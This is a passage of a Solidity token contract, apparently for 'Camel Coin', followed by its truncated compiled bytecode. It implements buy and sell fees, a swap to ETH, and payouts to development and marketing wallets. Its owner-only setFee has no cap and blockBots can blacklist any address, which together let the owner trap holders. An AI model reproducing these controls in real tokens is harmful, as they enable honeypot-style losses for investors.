if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190613048565b610702565b005b34801561021157600080fd5b5061021a61082c565b60405161022791906134a5565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fa8565b610869565b604051610264919061346f565b60405180910390f35b34801561027957600080fd5b50610282610887565b60405161028f919061348a565b60405180910390f35b3480156102a457600080fd5b506102ad6108ad565b6040516102ba9190613687565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f55565b6108be565b6040516102f7919061346f565b60405180910390f35b34801561030c57600080fd5b50610315610997565b6040516103229190613687565b60405180910390f35b34801561033757600080fd5b5061034061099d565b60405161034d91906136fc565b60405180910390f35b34801561036257600080fd5b5061036b6109a6565b6040516103789190613454565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612ebb565b6109cc565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613091565b610abc565b005b3480156103df57600080fd5b506103e8610b6d565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612ebb565b610c3e565b60405161041e9190613687565b60405180910390f35b34801561043357600080fd5b5061043c610c8f565b005b34801561044a57600080fd5b50610465600480360381019061046091906130be565b610de2565b005b34801561047357600080fd5b5061047c610e81565b6040516104899190613687565b60405180910390f35b34801561049e57600080fd5b506104a7610e87565b6040516104b49190613454565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df9190613091565b610eb0565b005b3480156104f257600080fd5b506104fb610f69565b6040516105089190613687565b60405180910390f35b34801561051d57600080fd5b50610526610f6f565b60405161053391906134a5565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906130be565b610fac565b005b34801561057157600080fd5b5061058c600480360381019061058791906130eb565b61104b565b005b34801561059a57600080fd5b506105b560048036038101906105b09190612fa8565b611102565b6040516105c2919061346f565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612ebb565b611120565b6040516105ff919061346f565b60405180910390f35b34801561061457600080fd5b5061061d611140565b005b34801561062b57600080fd5b5061064660048036038101906106419190612fe8565b611219565b005b34801561065457600080fd5b5061065d611353565b60405161066a9190613687565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612f15565b611359565b6040516106a79190613687565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d291906130be565b6113e0565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612ebb565b61147f565b005b61070a611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e906135e7565b60405180910390fd5b60005b8151811015610828576001601160008484815181106107bc576107bb613a7a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610820906139d3565b91505061079a565b5050565b60606040518060400160405280600a81526020017f43616d656c20436f696e00000000000000000000000000000000000000000000815250905090565b600061087d610876611641565b8484611649565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108cb848484611814565b61098c846108d7611641565b61098785604051806060016040528060288152602001613f2860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093d611641565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f49092919063ffffffff16565b611649565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a58906135e7565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ac4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b48906135e7565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bae611641565b73ffffffffffffffffffffffffffffffffffffffff161480610c245750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0c611641565b73ffffffffffffffffffffffffffffffffffffffff16145b610c2d57600080fd5b6000479050610c3b81612258565b50565b6000610c88600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612353565b9050919050565b610c97611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dea611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6e906135e7565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eb8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3c906135e7565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600a81526020017f43616d656c20436f696e00000000000000000000000000000000000000000000815250905090565b610fb4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611041576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611038906135e7565b60405180910390fd5b8060198190555050565b611053611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d7906135e7565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061111661110f611641565b8484611814565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611181611641565b73ffffffffffffffffffffffffffffffffffffffff1614806111f75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111df611641565b73ffffffffffffffffffffffffffffffffffffffff16145b61120057600080fd5b600061120b30610c3e565b9050611216816123c1565b50565b611221611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a5906135e7565b60405180910390fd5b60005b8383905081101561134d5781600560008686858181106112d4576112d3613a7a565b5b90506020020160208101906112e99190612ebb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611345906139d3565b9150506112b1565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146c906135e7565b60405180910390fd5b8060188190555050565b611487611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157b90613547565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b090613667565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172090613567565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118079190613687565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187b90613627565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118eb906134c7565b60405180910390fd5b60008111611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e90613607565b60405180910390fd5b61193f610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ad575061197d610e87565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ef357601660149054906101000a900460ff16611a3c576119ce610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a32906134e7565b60405180910390fd5b5b601754811115611a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7890613527565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b255750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5b90613587565b60405180910390fd5b6004600854611b7391906137bd565b4311158015611bcf5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c295750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cbf576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d6c5760185481611d2184610c3e565b611d2b91906137bd565b10611d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6290613647565b60405180910390fd5b5b6000611d7730610c3e565b9050600060195482101590506017548210611d925760175491505b808015611dac5750601660159054906101000a900460ff16155b8015611e065750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1c575060168054906101000a900460ff165b8015611e725750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec85750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ef057611ed6826123c1565b60004790506000811115611eee57611eed47612258565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f9a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061204d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561205b57600090506121e2565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121065750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561211e57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121e157600b54600d81905550600c54600e819055505b5b6121ee84848484612649565b50505050565b600083831115829061223c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223391906134a5565b60405180910390fd5b506000838561224b919061389e565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122a860028461267690919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122d3573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61232460028461267690919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561234f573d6000803e3d6000fd5b5050565b600060065482111561239a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239190613507565b60405180910390fd5b60006123a46126c0565b90506123b9818461267690919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123f9576123f8613aa9565b5b6040519080825280602002602001820160405280156124275781602001602082028036833780820191505090505b509050308160008151811061243f5761243e613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124e157600080fd5b505afa1580156124f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125199190612ee8565b8160018151811061252d5761252c613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061259430601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611649565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125f89594939291906136a2565b600060405180830381600087803b15801561261257600080fd5b505af1158015612626573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612657576126566126eb565b5b61266284848461272e565b806126705761266f6128f9565b5b50505050565b60006126b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061290d565b905092915050565b60008060006126cd612970565b915091506126e4818361267690919063ffffffff16565b9250505090565b6000600d541480156126ff57506000600e54145b156127095761272c565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b600080600080600080612740876129d2565b95509550955095509550955061279e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287f81612ae2565b6128898483612b9f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128e69190613687565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294b91906134a5565b60405180910390fd5b50600083856129639190613813565b9050809150509392505050565b600080600060065490506000683635c9adc5dea0000090506129a6683635c9adc5dea0000060065461267690919063ffffffff16565b8210156129c557600654683635c9adc5dea000009350935050506129ce565b81819350935050505b9091565b60008060008060008060008060006129ef8a600d54600e54612bd9565b92509250925060006129ff6126c0565b90506000806000612a128e878787612c6f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a7c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121f4565b905092915050565b6000808284612a9391906137bd565b905083811015612ad8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acf906135a7565b60405180910390fd5b8091505092915050565b6000612aec6126c0565b90506000612b038284612cf890919063ffffffff16565b9050612b5781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612bb482600654612a3a90919063ffffffff16565b600681905550612bcf81600754612a8490919063ffffffff16565b6007819055505050565b600080600080612c056064612bf7888a612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c2f6064612c21888b612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c5882612c4a858c612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c888589612cf890919063ffffffff16565b90506000612c9f8689612cf890919063ffffffff16565b90506000612cb68789612cf890919063ffffffff16565b90506000612cdf82612cd18587612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d0b5760009050612d6d565b60008284612d199190613844565b9050828482612d289190613813565b14612d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5f906135c7565b60405180910390fd5b809150505b92915050565b6000612d86612d818461373c565b613717565b90508083825260208201905082856020860282011115612da957612da8613ae2565b5b60005b85811015612dd95781612dbf8882612de3565b845260208401935060208301925050600181019050612dac565b5050509392505050565b600081359050612df281613ee2565b92915050565b600081519050612e0781613ee2565b92915050565b60008083601f840112612e2357612e22613add565b5b8235905067ffffffffffffffff811115612e4057612e3f613ad8565b5b602083019150836020820283011115612e5c57612e5b613ae2565b5b9250929050565b600082601f830112612e7857612e77613add565b5b8135612e88848260208601612d73565b91505092915050565b600081359050612ea081613ef9565b92915050565b600081359050612eb581613f10565b92915050565b600060208284031215612ed157612ed0613aec565b5b6000612edf84828501612de3565b91505092915050565b600060208284031215612efe57612efd613aec565b5b6000612f0c84828501612df8565b91505092915050565b60008060408385031215612f2c57612f2b613aec565b5b6000612f3a85828601612de3565b9250506020612f4b85828601612de3565b9150509250929050565b600080600060608486031215612f6e57612f6d613aec565b5b6000612f7c86828701612de3565b9350506020612f8d86828701612de3565b9250506040612f9e86828701612ea6565b9150509250925092565b60008060408385031215612fbf57612fbe613aec565b5b6000612fcd85828601612de3565b9250506020612fde85828601612ea6565b9150509250929050565b60008060006040848603121561300157613000613aec565b5b600084013567ffffffffffffffff81111561301f5761301e613ae7565b5b61302b86828701612e0d565b9350935050602061303e86828701612e91565b9150509250925092565b60006020828403121561305e5761305d613aec565b5b600082013567ffffffffffffffff81111561307c5761307b613ae7565b5b61308884828501612e63565b91505092915050565b6000602082840312156130a7576130a6613aec565b5b60006130b584828501612e91565b91505092915050565b6000602082840312156130d4576130d3613aec565b5b60006130e284828501612ea6565b91505092915050565b6000806000806080858703121561310557613104613aec565b5b600061311387828801612ea6565b945050602061312487828801612ea6565b935050604061313587828801612ea6565b925050606061314687828801612ea6565b91505092959194509250565b600061315e838361316a565b60208301905092915050565b613173816138d2565b82525050565b613182816138d2565b82525050565b600061319382613778565b61319d818561379b565b93506131a883613768565b8060005b838110156131d95781516131c08882613152565b97506131cb8361378e565b9250506001810190506131ac565b5085935050505092915050565b6131ef816138e4565b82525050565b6131fe81613927565b82525050565b61320d81613939565b82525050565b600061321e82613783565b61322881856137ac565b935061323881856020860161396f565b61324181613af1565b840191505092915050565b60006132596023836137ac565b915061326482613b02565b604082019050919050565b600061327c603f836137ac565b915061328782613b51565b604082019050919050565b600061329f602a836137ac565b91506132aa82613ba0565b604082019050919050565b60006132c2601c836137ac565b91506132cd82613bef565b602082019050919050565b60006132e56026836137ac565b91506132f082613c18565b604082019050919050565b60006133086022836137ac565b915061331382613c67565b604082019050919050565b600061332b6023836137ac565b915061333682613cb6565b604082019050919050565b600061334e601b836137ac565b915061335982613d05565b602082019050919050565b60006133716021836137ac565b915061337c82613d2e565b604082019050919050565b60006133946020836137ac565b915061339f82613d7d565b602082019050919050565b60006133b76029836137ac565b91506133c282613da6565b604082019050919050565b60006133da6025836137ac565b91506133e582613df5565b604082019050919050565b60006133fd6023836137ac565b915061340882613e44565b604082019050919050565b60006134206024836137ac565b915061342b82613e93565b604082019050919050565b61343f81613910565b82525050565b61344e8161391a565b82525050565b60006020820190506134696000830184613179565b92915050565b600060208201905061348460008301846131e6565b92915050565b600060208201905061349f60008301846131f556